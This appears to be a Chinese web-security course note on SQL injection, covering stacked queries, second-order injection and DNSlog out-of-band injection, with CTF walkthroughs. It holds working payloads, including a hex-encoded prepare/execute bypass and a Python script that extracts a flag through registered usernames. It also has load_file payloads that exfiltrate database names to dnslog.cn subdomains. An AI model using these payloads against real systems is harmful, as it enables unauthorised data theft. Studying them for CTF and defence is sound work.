小迪安全笔记-30

第30天:WEB攻防-通用漏洞_SQL注入_CTF_二次_堆叠_DNS带外

知识点:

  1. 数据库堆叠注入
  2. 数据库二次注入
  3. 数据库DNSlog带外注入(高权限)

数据库堆叠注入

有的数据库支持多条sql语句一起执行

支持堆叠的数据库有:mysql、MSSQL、Postgresql等(ORACLE不能使用堆叠注入)

比如:select * from news where id=1;create table xiaodi like news; //一次执行多条sql语句

注入原理:将后面的sql语句修改为注入语句,从而实现对数据库的注入。

参考:https://www.cnblogs.com/backlion/p/9721687.html

堆叠注入是有条件的,不仅要看数据库类型,还要看能不能接受并成功执行

例题

[强网杯 2019]随便注

1.jpg

2.jpg

3.jpg

4.jpg

5.jpg

6.jpg

7.jpg

过程为:

1
2
3
4
5
6
7
8
9
1';show databases;

1';show tables;

1';show columns from `1919810931114514`;

1';select flag from `1919810931114514`;

1';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

数据库二次注入

找回密码逻辑:得到你的用户名(你要找回谁的密码)
没有登录用户,我点找回密码,是不是先要输入你要找回的目标(select)
如果登录了用户,一般网站就直接进入验证过程(知道你是谁了)
最后接收获取你的用户名,修改密码(查询方式:update)

sql语句:update user set password=’xiaodi’ where username=’xiaosedi’;

如果我在注册用户名的时候,写的是一个SQL注入的语句。如果修改你的密码,那么相当于username后面加上的是SQL注入代码,即:update user set password=’xiaodi’ where username=SQL注入代码;

当执行updateSQL语句的时候,就执行了这个漏洞

例题:

[网鼎杯2018]Unfinish

进入登录页面:xx.buuoj.cn:81/login.php

进入到注册页面:xx.buuoj.cn:81/register.php

注册了一个正常的账号密码,然后用这个账号登录,在登录成功的页面可以看到自己刚刚注册的账号名字(username),考虑二次注入的可能

注册:
邮箱:test123@163.com 用户名:test123 密码:xiaodi
登录:
邮箱:test123@163.com 密码:123456

登录时只需填写邮箱和密码,但是登录后能显示出用户名

21.jpg

这是一个典型的二次注入:

注册用户:添加操作
邮箱,用户名,密码
insert into user (email,username,password) value(‘xioadi@163.com‘,’xiaodi’,’xiaodi’)

登录:
邮箱,密码

登录后显示个人的用户名:查询操作
select username from user where email=‘xiaodi@163.com

用攻击语句替换username的值,就会形成:
select payload(SQL语句) from user where email=‘xiaodi@163.com

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from bs4 import BeautifulSoup
import time


url = 'http://3253b4d9-9077-4446-91a9-dd80c1dab478.node5.buuoj.cn:81/'

m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
html = r3.text
soup = BeautifulSoup(html,'html.parser')
UserName = soup.span.string.strip()
if int(UserName) == 0:
break
m += chr(int(UserName))
print(m)
time.sleep(1)

flag.jpg

数据库DNSlog带外注入

http://www.dnslog.cn/

解决不回显,反向连接,SQL注入,命令执行,SSRF等
在平台上申请一个账号,使用者要支持访问这个地址才能使用,如果不支持那就没办法使用。在注入中只有load_file支持这钟类型的注入。

DSNlog SQL注入payload:
select load_file(concat(‘\\‘,(select database()),’.7logee.dnslog.cn\aa’));
and (select load_file(concat(‘//‘,(select database()),’.69knl9.dnslog.cn/abc’)))